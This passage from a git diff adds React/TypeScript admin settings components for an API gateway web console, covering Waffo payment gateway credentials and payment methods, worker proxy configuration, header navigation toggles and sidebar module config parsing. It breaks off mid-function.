+  WaffoReturnUrl: string
+  WaffoPayMethods: string
+}
+
+interface PayMethod {
+  name: string
+  icon: string
+  payMethodType: string
+  payMethodName: string
+}
+
+interface Props {
+  defaultValues: WaffoSettingsValues
+}
+
+export function WaffoSettingsSection(props: Props) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const [loading, setLoading] = useState(false)
+  const iconFileInputRef = useRef<HTMLInputElement | null>(null)
+
+  const form = useForm<Omit<WaffoSettingsValues, 'WaffoPayMethods'>>({
+    defaultValues: props.defaultValues,
+  })
+
+  const [payMethods, setPayMethods] = useState<PayMethod[]>(() => {
+    try {
+      return JSON.parse(props.defaultValues.WaffoPayMethods || '[]')
+    } catch {
+      return []
+    }
+  })
+  const [methodDialogOpen, setMethodDialogOpen] = useState(false)
+  const [editingIdx, setEditingIdx] = useState(-1)
+  const [methodForm, setMethodForm] = useState<PayMethod>({
+    name: '',
+    icon: '',
+    payMethodType: '',
+    payMethodName: '',
+  })
+
+  useEffect(() => {
+    form.reset(props.defaultValues)
+    try {
+      setPayMethods(JSON.parse(props.defaultValues.WaffoPayMethods || '[]'))
+    } catch {
+      setPayMethods([])
+    }
+  }, [props.defaultValues, form])
+
+  const handleSave = async () => {
+    setLoading(true)
+    try {
+      const values = form.getValues()
+      const options: { key: string; value: string }[] = [
+        { key: 'WaffoEnabled', value: String(values.WaffoEnabled) },
+        { key: 'WaffoSandbox', value: String(values.WaffoSandbox) },
+        { key: 'WaffoMerchantId', value: values.WaffoMerchantId || '' },
+        { key: 'WaffoCurrency', value: values.WaffoCurrency || 'USD' },
+        { key: 'WaffoUnitPrice', value: String(values.WaffoUnitPrice || 1) },
+        { key: 'WaffoMinTopUp', value: String(values.WaffoMinTopUp || 1) },
+        { key: 'WaffoNotifyUrl', value: values.WaffoNotifyUrl || '' },
+        { key: 'WaffoReturnUrl', value: values.WaffoReturnUrl || '' },
+        { key: 'WaffoPublicCert', value: values.WaffoPublicCert || '' },
+        {
+          key: 'WaffoSandboxPublicCert',
+          value: values.WaffoSandboxPublicCert || '',
+        },
+        { key: 'WaffoPayMethods', value: JSON.stringify(payMethods) },
+      ]
+      if (values.WaffoApiKey)
+        options.push({ key: 'WaffoApiKey', value: values.WaffoApiKey })
+      if (values.WaffoPrivateKey)
+        options.push({ key: 'WaffoPrivateKey', value: values.WaffoPrivateKey })
+      if (values.WaffoSandboxApiKey)
+        options.push({
+          key: 'WaffoSandboxApiKey',
+          value: values.WaffoSandboxApiKey,
+        })
+      if (values.WaffoSandboxPrivateKey)
+        options.push({
+          key: 'WaffoSandboxPrivateKey',
+          value: values.WaffoSandboxPrivateKey,
+        })
+
+      for (const opt of options) {
+        await updateOption.mutateAsync(opt)
+      }
+      toast.success(t('Updated successfully'))
+    } catch {
+      toast.error(t('Update failed'))
+    } finally {
+      setLoading(false)
+    }
+  }
+
+  const openAdd = () => {
+    setEditingIdx(-1)
+    setMethodForm({ name: '', icon: '', payMethodType: '', payMethodName: '' })
+    setMethodDialogOpen(true)
+  }
+
+  const openEdit = (idx: number) => {
+    setEditingIdx(idx)
+    setMethodForm({ ...payMethods[idx] })
+    setMethodDialogOpen(true)
+  }
+
+  const saveMethod = () => {
+    if (!methodForm.name.trim())
+      return toast.error(t('Payment method name is required'))
+    if (editingIdx === -1) {
+      setPayMethods((prev) => [...prev, methodForm])
+    } else {
+      setPayMethods((prev) =>
+        prev.map((m, i) => (i === editingIdx ? methodForm : m))
+      )
+    }
+    setMethodDialogOpen(false)
+  }
+
+  const handleIconFileChange = (event: ChangeEvent<HTMLInputElement>) => {
+    const file = event.target.files?.[0]
+
+    if (!file) {
+      return
+    }
+
+    const maxIconSize = 100 * 1024
+
+    if (file.size > maxIconSize) {
+      toast.error(t('Icon file must be 100 KB or smaller'))
+      event.target.value = ''
+      return
+    }
+
+    const reader = new FileReader()
+    reader.onload = (loadEvent) => {
+      setMethodForm((previous) => ({
+        ...previous,
+        icon:
+          typeof loadEvent.target?.result === 'string'
+            ? loadEvent.target.result
+            : '',
+      }))
+    }
+    reader.readAsDataURL(file)
+    event.target.value = ''
+  }
+
+  return (
+    <>
+      <SettingsSection
+        title={t('Waffo Payment Gateway')}
+        description={t(
+          'Configure Waffo payment aggregation platform integration'
+        )}
+      >
+        <Alert>
+          <AlertDescription className='text-xs'>
+            {t(
+              'Obtain the API key, merchant ID, and RSA key pair from the Waffo dashboard, and configure the callback URL.'
+            )}
+          </AlertDescription>
+        </Alert>
+
+        <div className='grid grid-cols-2 gap-4'>
+          <div className='flex items-center gap-2'>
+            <Switch
+              checked={form.watch('WaffoEnabled')}
+              onCheckedChange={(v) => form.setValue('WaffoEnabled', v)}
+            />
+            <Label>{t('Enable Waffo')}</Label>
+          </div>
+          <div className='flex items-center gap-2'>
+            <Switch
+              checked={form.watch('WaffoSandbox')}
+              onCheckedChange={(v) => form.setValue('WaffoSandbox', v)}
+            />
+            <Label>{t('Sandbox mode')}</Label>
+          </div>
+        </div>
+
+        <div className='grid grid-cols-2 gap-4'>
+          <div className='grid gap-1.5'>
+            <Label>{t('API Key (Production)')}</Label>
+            <Input type='password' {...form.register('WaffoApiKey')} />
+          </div>
+          <div className='grid gap-1.5'>
+            <Label>{t('API Key (Sandbox)')}</Label>
+            <Input type='password' {...form.register('WaffoSandboxApiKey')} />
+          </div>
+        </div>
+
+        <div className='grid gap-1.5'>
+          <Label>{t('Merchant ID')}</Label>
+          <Input {...form.register('WaffoMerchantId')} />
+        </div>
+
+        <div className='grid grid-cols-2 gap-4'>
+          <div className='grid gap-1.5'>
+            <Label>{t('RSA Private Key (Production)')}</Label>
+            <Textarea
+              rows={3}
+              {...form.register('WaffoPrivateKey')}
+              className='font-mono text-xs'
+            />
+          </div>
+          <div className='grid gap-1.5'>
+            <Label>{t('RSA Private Key (Sandbox)')}</Label>
+            <Textarea
+              rows={3}
+              {...form.register('WaffoSandboxPrivateKey')}
+              className='font-mono text-xs'
+            />
+          </div>
+        </div>
+
+        <div className='grid grid-cols-2 gap-4'>
+          <div className='grid gap-1.5'>
+            <Label>{t('Waffo Public Key (Production)')}</Label>
+            <Textarea
+              rows={3}
+              {...form.register('WaffoPublicCert')}
+              className='font-mono text-xs'
+            />
+          </div>
+          <div className='grid gap-1.5'>
+            <Label>{t('Waffo Public Key (Sandbox)')}</Label>
+            <Textarea
+              rows={3}
+              {...form.register('WaffoSandboxPublicCert')}
+              className='font-mono text-xs'
+            />
+          </div>
+        </div>
+
+        <div className='grid grid-cols-3 gap-4'>
+          <div className='grid gap-1.5'>
+            <Label>{t('Currency')}</Label>
+            <Input {...form.register('WaffoCurrency')} disabled />
+          </div>
+          <div className='grid gap-1.5'>
+            <Label>{t('Unit price (USD)')}</Label>
+            <Input
+              type='number'
+              step={0.1}
+              min={0}
+              {...form.register('WaffoUnitPrice')}
+            />
+          </div>
+          <div className='grid gap-1.5'>
+            <Label>{t('Minimum top-up quantity')}</Label>
+            <Input type='number' min={1} {...form.register('WaffoMinTopUp')} />
+          </div>
+        </div>
+
+        <div className='grid grid-cols-2 gap-4'>
+          <div className='grid gap-1.5'>
+            <Label>{t('Callback notification URL')}</Label>
+            <Input
+              placeholder='https://example.com/api/waffo/webhook'
+              {...form.register('WaffoNotifyUrl')}
+            />
+          </div>
+          <div className='grid gap-1.5'>
+            <Label>{t('Payment return URL')}</Label>
+            <Input
+              placeholder='https://example.com/console/topup'
+              {...form.register('WaffoReturnUrl')}
+            />
+          </div>
+        </div>
+
+        <Separator />
+
+        <div className='flex items-center justify-between'>
+          <h4 className='font-medium'>{t('Payment Methods')}</h4>
+          <Button variant='outline' size='sm' onClick={openAdd}>
+            <Plus className='mr-1 h-3 w-3' />
+            {t('Add payment method')}
+          </Button>
+        </div>
+
+        <div className='rounded-md border'>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead>{t('Display name')}</TableHead>
+                <TableHead>{t('Icon')}</TableHead>
+                <TableHead>{t('Payment method type')}</TableHead>
+                <TableHead>{t('Payment method name')}</TableHead>
+                <TableHead className='text-right'>{t('Actions')}</TableHead>
+              </TableRow>
+            </TableHeader>
+            <TableBody>
+              {payMethods.length === 0 ? (
+                <TableRow>
+                  <TableCell
+                    colSpan={5}
+                    className='text-muted-foreground py-8 text-center'
+                  >
+                    {t('No payment methods configured')}
+                  </TableCell>
+                </TableRow>
+              ) : (
+                payMethods.map((m, idx) => (
+                  <TableRow key={idx}>
+                    <TableCell>{m.name}</TableCell>
+                    <TableCell>
+                      {m.icon ? (
+                        <img
+                          src={m.icon}
+                          alt={m.name}
+                          className='h-6 w-6 rounded object-contain'
+                        />
+                      ) : (
+                        <span className='text-muted-foreground'>-</span>
+                      )}
+                    </TableCell>
+                    <TableCell>{m.payMethodType || '-'}</TableCell>
+                    <TableCell>{m.payMethodName || '-'}</TableCell>
+                    <TableCell className='text-right'>
+                      <div className='flex justify-end gap-1'>
+                        <Button
+                          variant='ghost'
+                          size='icon'
+                          className='h-7 w-7'
+                          onClick={() => openEdit(idx)}
+                        >
+                          <Pencil className='h-3 w-3' />
+                        </Button>
+                        <Button
+                          variant='ghost'
+                          size='icon'
+                          className='h-7 w-7'
+                          onClick={() =>
+                            setPayMethods((prev) =>
+                              prev.filter((_, i) => i !== idx)
+                            )
+                          }
+                        >
+                          <Trash2 className='h-3 w-3' />
+                        </Button>
+                      </div>
+                    </TableCell>
+                  </TableRow>
+                ))
+              )}
+            </TableBody>
+          </Table>
+        </div>
+
+        <Button onClick={handleSave} disabled={loading}>
+          {loading ? t('Saving...') : t('Save Changes')}
+        </Button>
+      </SettingsSection>
+
+      <Dialog open={methodDialogOpen} onOpenChange={setMethodDialogOpen}>
+        <DialogContent>
+          <DialogHeader>
+            <DialogTitle>
+              {editingIdx === -1
+                ? t('Add payment method')
+                : t('Edit payment method')}
+            </DialogTitle>
+          </DialogHeader>
+          <div className='space-y-3'>
+            <div className='grid gap-1.5'>
+              <Label>{t('Display name')} *</Label>
+              <Input
+                value={methodForm.name}
+                onChange={(e) =>
+                  setMethodForm((p) => ({ ...p, name: e.target.value }))
+                }
+              />
+            </div>
+            <div className='grid gap-2'>
+              <Label>{t('Icon')}</Label>
+              <div className='flex items-center gap-3'>
+                {methodForm.icon ? (
+                  <img
+                    src={methodForm.icon}
+                    alt={methodForm.name || t('Icon')}
+                    className='h-10 w-10 rounded border object-contain p-1'
+                  />
+                ) : (
+                  <div className='bg-muted text-muted-foreground flex h-10 w-10 items-center justify-center rounded border text-xs'>
+                    {t('Icon')}
+                  </div>
+                )}
+                <input
+                  ref={iconFileInputRef}
+                  type='file'
+                  accept='image/png,image/jpeg,image/svg+xml,image/webp'
+                  className='hidden'
+                  onChange={handleIconFileChange}
+                />
+                <Button
+                  type='button'
+                  variant='outline'
+                  onClick={() => iconFileInputRef.current?.click()}
+                >
+                  {t('Upload')}
+                </Button>
+                {methodForm.icon ? (
+                  <Button
+                    type='button'
+                    variant='outline'
+                    onClick={() =>
+                      setMethodForm((previous) => ({
+                        ...previous,
+                        icon: '',
+                      }))
+                    }
+                  >
+                    {t('Clear')}
+                  </Button>
+                ) : null}
+              </div>
+              <p className='text-muted-foreground text-xs'>
+                {t(
+                  'Supports PNG, JPG, SVG, or WebP. Recommended size: 128×128 or smaller.'
+                )}
+              </p>
+            </div>
+            <div className='grid gap-1.5'>
+              <Label>{t('Payment method type')}</Label>
+              <Input
+                value={methodForm.payMethodType}
+                onChange={(e) =>
+                  setMethodForm((p) => ({
+                    ...p,
+                    payMethodType: e.target.value,
+                  }))
+                }
+                placeholder='CREDITCARD,DEBITCARD'
+              />
+            </div>
+            <div className='grid gap-1.5'>
+              <Label>{t('Payment method name')}</Label>
+              <Input
+                value={methodForm.payMethodName}
+                onChange={(e) =>
+                  setMethodForm((p) => ({
+                    ...p,
+                    payMethodName: e.target.value,
+                  }))
+                }
+              />
+            </div>
+          </div>
+          <DialogFooter>
+            <Button
+              variant='outline'
+              onClick={() => setMethodDialogOpen(false)}
+            >
+              {t('Cancel')}
+            </Button>
+            <Button onClick={saveMethod}>{t('Confirm')}</Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/worker-settings-section.tsx b/new-api/web/default/src/features/system-settings/integrations/worker-settings-section.tsx
new file mode 100644
index 0000000..f9f81e4
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/worker-settings-section.tsx
@@ -0,0 +1,182 @@
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { SettingsSection } from '../components/settings-section'
+import { useResetForm } from '../hooks/use-reset-form'
+import { useUpdateOption } from '../hooks/use-update-option'
+import { removeTrailingSlash } from './utils'
+
+const createWorkerSchema = (t: (key: string) => string) =>
+  z.object({
+    WorkerUrl: z.string().refine((value) => {
+      const trimmed = value.trim()
+      if (!trimmed) return true
+      return /^https?:\/\//.test(trimmed)
+    }, t('Provide a valid URL starting with http:// or https://')),
+    WorkerValidKey: z.string(),
+    WorkerAllowHttpImageRequestEnabled: z.boolean(),
+  })
+
+type WorkerFormValues = z.infer<ReturnType<typeof createWorkerSchema>>
+
+type WorkerSettingsSectionProps = {
+  defaultValues: WorkerFormValues
+}
+
+export function WorkerSettingsSection({
+  defaultValues,
+}: WorkerSettingsSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const workerSchema = createWorkerSchema(t)
+
+  const form = useForm<WorkerFormValues>({
+    resolver: zodResolver(workerSchema),
+    defaultValues,
+  })
+
+  useResetForm(form, defaultValues)
+
+  const onSubmit = async (values: WorkerFormValues) => {
+    const sanitizedUrl = removeTrailingSlash(values.WorkerUrl)
+    const sanitizedKey = values.WorkerValidKey.trim()
+    const initialUrl = removeTrailingSlash(defaultValues.WorkerUrl)
+    const initialKey = defaultValues.WorkerValidKey.trim()
+
+    const updates: Array<{ key: string; value: string | boolean }> = []
+
+    if (sanitizedUrl !== initialUrl) {
+      updates.push({ key: 'WorkerUrl', value: sanitizedUrl })
+    }
+
+    if (sanitizedKey !== initialKey || sanitizedUrl === '') {
+      updates.push({ key: 'WorkerValidKey', value: sanitizedKey })
+    }
+
+    if (
+      values.WorkerAllowHttpImageRequestEnabled !==
+      defaultValues.WorkerAllowHttpImageRequestEnabled
+    ) {
+      updates.push({
+        key: 'WorkerAllowHttpImageRequestEnabled',
+        value: values.WorkerAllowHttpImageRequestEnabled,
+      })
+    }
+
+    for (const update of updates) {
+      await updateOption.mutateAsync(update)
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('Worker Proxy')}
+      description={t(
+        'Configure upstream worker or proxy service for outbound requests'
+      )}
+    >
+      <Form {...form}>
+        <form
+          onSubmit={form.handleSubmit(onSubmit)}
+          autoComplete='off'
+          className='space-y-6'
+        >
+          <FormField
+            control={form.control}
+            name='WorkerUrl'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Worker URL')}</FormLabel>
+                <FormControl>
+                  <Input
+                    type='url'
+                    inputMode='url'
+                    placeholder={t('https://worker.example.workers.dev')}
+                    autoComplete='off'
+                    {...field}
+                    onChange={(event) => field.onChange(event.target.value)}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Requests will be forwarded to this worker. Trailing slashes are removed automatically.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='WorkerValidKey'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Worker Access Key')}</FormLabel>
+                <FormControl>
+                  <Input
+                    type='password'
+                    placeholder={t('Enter new key to update')}
+                    autoComplete='new-password'
+                    {...field}
+                    onChange={(event) => field.onChange(event.target.value)}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'Used to authenticate with the worker. Leave blank to keep the existing secret.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='WorkerAllowHttpImageRequestEnabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Allow HTTP image requests')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Enable when proxying workers that fetch images over HTTP.'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending
+              ? t('Saving...')
+              : t('Save Worker settings')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/maintenance/config.ts b/new-api/web/default/src/features/system-settings/maintenance/config.ts
new file mode 100644
index 0000000..f3e5849
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/maintenance/config.ts
@@ -0,0 +1,218 @@
+import type { MaintenanceSettings } from '../types'
+
+export type HeaderNavPricingConfig = {
+  enabled: boolean
+  requireAuth: boolean
+}
+
+export type HeaderNavModulesConfig = {
+  home: boolean
+  console: boolean
+  pricing: HeaderNavPricingConfig
+  docs: boolean
+  about: boolean
+  [key: string]: boolean | HeaderNavPricingConfig
+}
+
+export type SidebarSectionConfig = {
+  enabled: boolean
+  [key: string]: boolean
+}
+
+export type SidebarModulesAdminConfig = Record<string, SidebarSectionConfig>
+
+export const HEADER_NAV_DEFAULT: HeaderNavModulesConfig = {
+  home: true,
+  console: true,
+  pricing: {
+    enabled: true,
+    requireAuth: false,
+  },
+  docs: true,
+  about: true,
+}
+
+export const SIDEBAR_MODULES_DEFAULT: SidebarModulesAdminConfig = {
+  chat: {
+    enabled: true,
+    playground: true,
+    chat: true,
+  },
+  console: {
+    enabled: true,
+    detail: true,
+    token: true,
+    log: true,
+    midjourney: true,
+    task: true,
+  },
+  personal: {
+    enabled: true,
+    topup: true,
+    personal: true,
+  },
+  admin: {
+    enabled: true,
+    channel: true,
+    models: true,
+    redemption: true,
+    user: true,
+    setting: true,
+    subscription: true,
+  },
+}
+
+export const DEFAULT_MAINTENANCE_SETTINGS: MaintenanceSettings = {
+  Notice: '',
+  LogConsumeEnabled: false,
+  HeaderNavModules: JSON.stringify(HEADER_NAV_DEFAULT),
+  SidebarModulesAdmin: JSON.stringify(SIDEBAR_MODULES_DEFAULT),
+  'performance_setting.disk_cache_enabled': false,
+  'performance_setting.disk_cache_threshold_mb': 10,
+  'performance_setting.disk_cache_max_size_mb': 1024,
+  'performance_setting.disk_cache_path': '',
+  'performance_setting.monitor_enabled': false,
+  'performance_setting.monitor_cpu_threshold': 90,
+  'performance_setting.monitor_memory_threshold': 90,
+  'performance_setting.monitor_disk_threshold': 95,
+}
+
+const toBoolean = (value: unknown, fallback: boolean): boolean => {
+  if (typeof value === 'boolean') return value
+  if (typeof value === 'number') return value === 1
+  if (typeof value === 'string') {
+    const normalized = value.trim().toLowerCase()
+    if (normalized === 'true' || normalized === '1') return true
+    if (normalized === 'false' || normalized === '0') return false
+  }
+  return fallback
+}
+
+const cloneHeaderNavDefault = (): HeaderNavModulesConfig => ({
+  ...HEADER_NAV_DEFAULT,
+  pricing: { ...HEADER_NAV_DEFAULT.pricing },
+})
+
+const cloneSidebarDefault = (): SidebarModulesAdminConfig =>
+  Object.entries(SIDEBAR_MODULES_DEFAULT).reduce<SidebarModulesAdminConfig>(
+    (acc, [section, config]) => {
+      acc[section] = { ...config }
+      return acc
+    },
+    {}
+  )
+
+export function parseHeaderNavModules(
+  value: string | null | undefined
+): HeaderNavModulesConfig {
+  const base = cloneHeaderNavDefault()
+  if (!value) {
+    return base
+  }
+  try {
+    const parsed = JSON.parse(value) as Record<string, unknown>
+    const result: HeaderNavModulesConfig = {
+      ...base,
+      pricing: { ...base.pricing },
+    }
+
+    Object.entries(parsed).forEach(([key, raw]) => {
+      if (key === 'pricing') {
+        if (raw && typeof raw === 'object') {
+          const rawPricing = raw as Record<string, unknown>
+          result.pricing = {
+            enabled: toBoolean(
+              rawPricing.enabled,
+              base.pricing?.enabled ?? true
+            ),
+            requireAuth: toBoolean(
+              rawPricing.requireAuth,
+              base.pricing?.requireAuth ?? false
+            ),
+          }
+        }
+        return
+      }
+
+      if (typeof raw === 'boolean') {
+        result[key] = raw
+        return
+      }
+      if (typeof raw === 'string' || typeof raw === 'number') {
+        result[key] = toBoolean(raw, Boolean(base[key]))
+        return
+      }
+    })
+
+    return result
+  } catch {
+    return base
+  }
+}
+
+export function serializeHeaderNavModules(
+  config: HeaderNavModulesConfig
+): string {
+  return JSON.stringify(config)
+}
+
+export function parseSidebarModulesAdmin(
+  value: string | null | undefined
+): SidebarModulesAdminConfig {
+  const defaults = cloneSidebarDefault()
+  // If empty string, null, or undefined, use default config
+  if (!value || value.trim() === '') return defaults
+
+  try {
+    const parsed = JSON.parse(value) as Record<string, unknown>
+    const result: SidebarModulesAdminConfig = {}
+
+    Object.entries(parsed).forEach(([sectionKey, raw]) => {
+      if (!raw || typeof raw !== 'object') return
+
+      const defaultSection = defaults[sectionKey] ?? { enabled: true }
+      const sectionConfig: SidebarSectionConfig = {
+        enabled: toBoolean(
+          (raw as Record<string, unknown>).enabled,
+          defaultSection.enabled ?? true
+        ),
+      }
+
+      Object.entries(raw as Record<string, unknown>).forEach(
+        ([moduleKey, moduleValue]) => {
+          if (moduleKey === 'enabled') return
+          sectionConfig[moduleKey] = toBoolean(
+            moduleValue,
+            defaultSection[moduleKey] ?? true
+          )
+        }
+      )
+
+      result[sectionKey] = sectionConfig
+    })
+
+    // Merge defaults to ensure expected sections exist
+    Object.entries(defaults).forEach(([sectionKey, config]) => {
+      if (!result[sectionKey]) {
+        result[sectionKey] = { ...config }
+        return
+      }
+
+      Object.entries(config).forEach(([moduleKey, moduleValue]) => {
+        if (!(moduleKey in result[sectionKey])) {
+          result[sectionKey][moduleKey] = moduleValue
+        }
+      })
+    })
+
+    return result
+  } catch {
+    return defaults
+  }
+}
+
+export function serializeSidebarModulesAdmin(
+  config: SidebarModulesAdminConfig
+): string {
+  return JSON.stringify(config)
+}
diff --git a/new-api/web/default/src/features/system-settings/maintenance/header-navigation-section.tsx b/new-api/web/default/src/features/system-settings/maintenance/header-navigation-section.tsx
new file mode 100644
index 0000000..68d7507
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/maintenance/header-navigation-section.tsx
@@ -0,0 +1,238 @@
+import { useEffect, useMemo } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Switch } from '@/components/ui/switch'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+import {
+  HEADER_NAV_DEFAULT,
+  type HeaderNavModulesConfig,
+  serializeHeaderNavModules,
+} from './config'
+
+const headerNavSchema = z.object({
+  home: z.boolean(),
+  console: z.boolean(),
+  pricingEnabled: z.boolean(),
+  pricingRequireAuth: z.boolean(),
+  docs: z.boolean(),
+  about: z.boolean(),
+})
+
+type HeaderNavFormValues = z.infer<typeof headerNavSchema>
+
+type HeaderNavigationSectionProps = {
+  config: HeaderNavModulesConfig
+  initialSerialized: string
+}
+
+const toFormValues = (config: HeaderNavModulesConfig): HeaderNavFormValues => ({
+  home:
+    config.home === undefined ? HEADER_NAV_DEFAULT.home : Boolean(config.home),
+  console:
+    config.console === undefined
+      ? HEADER_NAV_DEFAULT.console
+      : Boolean(config.console),
+  pricingEnabled:
+    config.pricing?.enabled === undefined
+      ? HEADER_NAV_DEFAULT.pricing.enabled
+      : Boolean(config.pricing.enabled),
+  pricingRequireAuth:
+    config.pricing?.requireAuth === undefined
+      ? HEADER_NAV_DEFAULT.pricing.requireAuth
+      : Boolean(config.pricing.requireAuth),
+  docs:
+    config.docs === undefined ? HEADER_NAV_DEFAULT.docs : Boolean(config.docs),
+  about:
+    config.about === undefined
+      ? HEADER_NAV_DEFAULT.about
+      : Boolean(config.about),
+})
+
+export function HeaderNavigationSection({
+  config,
+  initialSerialized,
+}: HeaderNavigationSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const formDefaults = useMemo(() => toFormValues(config), [config])
+
+  const form = useForm<HeaderNavFormValues>({
+    resolver: zodResolver(headerNavSchema),
+    defaultValues: formDefaults,
+  })
+
+  useEffect(() => {
+    form.reset(formDefaults)
+  }, [formDefaults, form])
+
+  const onSubmit = async (values: HeaderNavFormValues) => {
+    const payload: HeaderNavModulesConfig = {
+      ...config,
+      home: values.home,
+      console: values.console,
+      docs: values.docs,
+      about: values.about,
+      pricing: {
+        ...(config.pricing ?? HEADER_NAV_DEFAULT.pricing),
+        enabled: values.pricingEnabled,
+        requireAuth: values.pricingRequireAuth,
+      },
+    }
+
+    const serialized = serializeHeaderNavModules(payload)
+    if (serialized === initialSerialized) {
+      return
+    }
+
+    await updateOption.mutateAsync({
+      key: 'HeaderNavModules',
+      value: serialized,
+    })
+  }
+
+  const resetToDefault = () => {
+    form.reset(toFormValues(HEADER_NAV_DEFAULT))
+  }
+
+  const modules: Array<{
+    key: keyof HeaderNavFormValues
+    title: string
+    description: string
+  }> = [
+    {
+      key: 'home',
+      title: t('Home'),
+      description: t('Landing page with system overview.'),
+    },
+    {
+      key: 'console',
+      title: t('Console'),
+      description: t('User dashboard and quota controls.'),
+    },
+    {
+      key: 'docs',
+      title: t('Docs'),
+      description: t('Documentation or external knowledge base.'),
+    },
+    {
+      key: 'about',
+      title: t('About'),
+      description: t('Static page describing the platform.'),
+    },
+  ]
+
+  return (
+    <SettingsSection
+      title={t('Header navigation')}
+      description={t('Enable or disable top navigation modules globally.')}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <div className='grid gap-4 md:grid-cols-2'>
+            {modules.map((module) => (
+              <FormField
+                key={module.key}
+                control={form.control}
+                name={module.key}
+                render={({ field }) => (
+                  <FormItem className='flex flex-row items-start justify-between rounded-lg border p-4'>
+                    <div className='space-y-0.5 pe-4'>
+                      <FormLabel className='text-base'>
+                        {module.title}
+                      </FormLabel>
+                      <FormDescription>{module.description}</FormDescription>
+                    </div>
+                    <FormControl>
+                      <Switch
+                        checked={field.value}
+                        onCheckedChange={field.onChange}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            ))}
+          </div>
+
+          <div className='rounded-lg border p-4'>
+            <FormField
+              control={form.control}
+              name='pricingEnabled'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-start justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5 pe-4'>
+                    <FormLabel className='text-base'>
+                      {t('Models directory')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t(
+                        'Exposes the pricing/models catalog in the top navigation.'
+                      )}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='pricingRequireAuth'
+              render={({ field }) => (
+                <FormItem className='mt-4 flex flex-row items-start justify-between rounded-lg border border-dashed p-4'>
+                  <div className='space-y-0.5 pe-4'>
+                    <FormLabel className='text-base'>
+                      {t('Require login to view models')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t(
+                        'Visitors must authenticate before accessing the pricing directory.'
+                      )}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                      disabled={!form.watch('pricingEnabled')}
+                    />
+                  </FormControl>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+          </div>
+
+          <div className='flex flex-wrap gap-3'>
+            <Button type='button' variant='outline' onClick={resetToDefault}>
+              {t('Reset to default')}
+            </Button>
+            <Button type='submit' disabled={updateOption.isPending}>
+              {updateOption.isPending ? t('Saving...') : t('Save navigation')}
+            </Button>
+          </div>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/maintenance/index.tsx b/new-api/web/default/src/features/system-settings/maintenance/index.tsx
new file mode 100644
index 0000000..5376b4e
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/maintenance/index.tsx
@@ -0,0 +1,54 @@
+import { useMemo } from 'react'
+import { useParams } from '@tanstack/react-router'
+import { useTranslation } from 'react-i18next'
+import { useStatus } from '@/hooks/use-status'
+import { getOptionValue, useSystemOptions } from '../hooks/use-system-options'
+import { DEFAULT_MAINTENANCE_SETTINGS } from './config'
+import {
+  MAINTENANCE_DEFAULT_SECTION,
+  getMaintenanceSectionContent,
+} from './section-registry.tsx'
+
+export function MaintenanceSettings() {
+  const { t } = useTranslation()
+  const { data, isLoading } = useSystemOptions()
+  const { status } = useStatus()
+  const params = useParams({
+    from: '/_authenticated/system-settings/maintenance/$section',
+  })
+
+  const settings = useMemo(
+    () => getOptionValue(data?.data, DEFAULT_MAINTENANCE_SETTINGS),
+    [data?.data]
+  )
+
+  if (isLoading) {
+    return (
